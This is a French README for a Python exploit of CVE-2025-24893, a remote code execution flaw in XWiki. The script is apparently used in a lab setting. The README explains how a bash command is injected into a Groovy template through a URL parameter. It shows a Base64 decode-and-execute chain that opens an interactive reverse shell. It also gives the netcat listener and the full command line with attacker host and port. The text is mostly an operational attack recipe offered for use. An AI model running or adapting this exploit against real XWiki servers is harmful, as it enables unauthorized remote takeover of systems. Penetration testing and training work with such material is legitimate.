
Exploit RCE CVE-2025-24893 pour XWiki avec capacité de shell inversé
Avertissement : Ce script est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Ne l'utilisez pas sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. Une mauvaise utilisation peut être illégale et dangereuse.
Ce script Python exploite CVE-2025-24893, une vulnérabilité d'exécution de code à distance affectant les versions de XWiki jusqu'à la 15.10.10.
Cette version étend le PoC original d'Al Baradi Joy pour générer un reverse shell. Le PoC original est disponible ici.
XWiki exécute du code Groovy via le paramètre d'URL.
L'exploit injecte une commande bash -c dans ce modèle Groovy.
Un reverse shell normal contient plusieurs guillemets (' et ") qui casseraient l'évaluation Groovy et l'URL.
Pour résoudre cela, le script encode la commande shell en une ligne en Base64.
La charge utile est ensuite envoyée dans l'URL et exécutée via la chaîne suivante :
{echo,<base64>} | {base64,-d} | {bash,-i}
Cela décode la charge utile Base64 en toute sécurité et l'exécute avec bash -i, fournissant un reverse shell interactif.
http://<target-host>//xwiki (le script l'ajoute automatiquement)Exemples :
# Correct
http://10.129.95.114:8080
http://example.com:8080
# Incorrect
http://10.129.95.114:8080/ # trailing slash
http://example.com/xwiki # includes /xwiki
Avant d'exécuter l'exploit, vous devez démarrer un écouteur sur votre machine pour capturer le reverse shell.
Exemple avec Netcat :
nc -lvnp <lport>
<lport> doit correspondre au port que vous fournissez en argument au script.python3 cve-2025-24893.py <target_base_url> <lhost> <lport>
Exemple :
python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444